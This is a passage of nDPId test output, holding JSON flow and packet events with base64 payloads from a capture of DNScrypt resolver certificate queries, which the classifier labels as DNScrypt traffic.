AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":399,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_first_seen":946739337078,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":45613,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":400,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":78199,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ\/csAub0RumsKAAABp3LcfQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":400,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":401,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":1,"flow_first_seen":946739337078,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":59589,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":167,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":401,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":78205,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXc\/cwgAL0RlZcKAAABp3LcfejFAbsGBA+Bm2QBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":401,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":1,"flow_first_seen":946739337078,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":59589,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":402,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":78218,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQ\/cwAub0RumoKAAABp3LcfQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":402,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":403,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_first_seen":946739337078,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":45747,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":168,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":78271,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIc\/c1AAL0ReVYKAAABp3LcfbKzAbsCCEbGm2UBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":403,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_first_seen":946739337078,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"167.114.220.125","src_port":45747,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00670{"flow_id":159,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":78771,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWnoNAADURNfgzD3zQCgAAARD3laYAwhtvaUCBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPvb\/epXmbtmpFJPDJPj0\/8kG2WLVy9aKZXG64Z\/RD4Asb+lk0fHUNVwKqjvyNJwSQDMlfv0kF+DU4Xf9AOufg1vl\/oZmXyGUvpIk2ki4WFZb2z8KlMPRm7olQdpuGdje2+X+hmZfIZSAAAAAV9TS2BfVJzg"} +00670{"flow_id":162,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":405,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":78813,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWnoVAADURNfYzD3zQCgAAARD30n8Awt6UaUGBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPvb\/epXmbtmpFJPDJPj0\/8kG2WLVy9aKZXG64Z\/RD4Asb+lk0fHUNVwKqjvyNJwSQDMlfv0kF+DU4Xf9AOufg1vl\/oZmXyGUvpIk2ki4WFZb2z8KlMPRm7olQdpuGdje2+X+hmZfIZSAAAAAV9TS2BfVJzg"} +00670{"flow_id":161,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":79094,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWnoRAADURNfczD3zQCgAAARD3m+YAwhUraUSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA9hbXMtZG5zY3J5cHQtbmwAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAPvb\/epXmbtmpFJPDJPj0\/8kG2WLVy9aKZXG64Z\/RD4Asb+lk0fHUNVwKqjvyNJwSQDMlfv0kF+DU4Xf9AOufg1vl\/oZmXyGUvpIk2ki4WFZb2z8KlMPRm7olQdpuGdje2+X+hmZfIZSAAAAAV9TS2BfVJzg"} +00668{"flow_id":164,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":407,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":183164,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADU4rUAADMRX7enctx9CgAAAQG7lmwAwOCxm2aBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAACtvTpPmuzdARCZdHINGnm84Rta+Q9yZkJOIOBZH1xDWjyTETMesMGOqAFTeyjt37OaMFtfnU1CukJNcbLtFisLiXsfUndKvm3+Vr\/KkwQySWxBEvG+JEE+3LVi8Tb5u3eKex9Sd0q+bV9TqoVfU6qFX1T8BQ=="} +00668{"flow_id":165,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":184603,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADU4rcAADMRX7Wnctx9CgAAAQG7m4gAwNuUm2eBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAACtvTpPmuzdARCZdHINGnm84Rta+Q9yZkJOIOBZH1xDWjyTETMesMGOqAFTeyjt37OaMFtfnU1CukJNcbLtFisLiXsfUndKvm3+Vr\/KkwQySWxBEvG+JEE+3LVi8Tb5u3eKex9Sd0q+bV9TqoVfU6qFX1T8BQ=="} +00668{"flow_id":163,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":184787,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADU4rYAADMRX7anctx9CgAAAQG7kEIAwObYm2mBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0xAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAACtvTpPmuzdARCZdHINGnm84Rta+Q9yZkJOIOBZH1xDWjyTETMesMGOqAFTeyjt37OaMFtfnU1CukJNcbLtFisLiXsfUndKvm3+Vr\/KkwQySWxBEvG+JEE+3LVi8Tb5u3eKex9Sd0q+bV9TqoVfU6qFX1T8BQ=="} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":410,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":35734,"dst_port":465,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":169,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":184822,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcw6lAAL0RhukKAAABBb2qxIuWAdECCHNXsoMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARuczE2AmRlA2RucwdvcGVubmljBGdsdWUAABAAAQAAAAAAAAAAAAG7AAwBtwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":410,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":35734,"dst_port":465,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":411,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":44496,"dst_port":465,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":170,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":411,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":184840,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcw6pAAL0RhugKAAABBb2qxK3QAdECCHNXsn8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydARuczE2AmRlA2RucwdvcGVubmljBGdsdWUAABAAAQAAAAAAAAAAAAG7AAwBtwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":411,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":44496,"dst_port":465,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":412,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":58104,"dst_port":465,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":171,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":184850,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcw6sgAL0RoycKAAABBb2qxOL4AdEGBCbssn4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydARuczE2AmRlA2RucwdvcGVubmljBGdsdWUAABAAAQAAAAAAAAAAAAW3AAwFswAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":412,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":946739337184,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"5.189.170.196","src_port":58104,"dst_port":465,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":413,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739337,"pkt_ts_usec":184865,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQw6sAub0Rx\/oKAAABBb2qxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 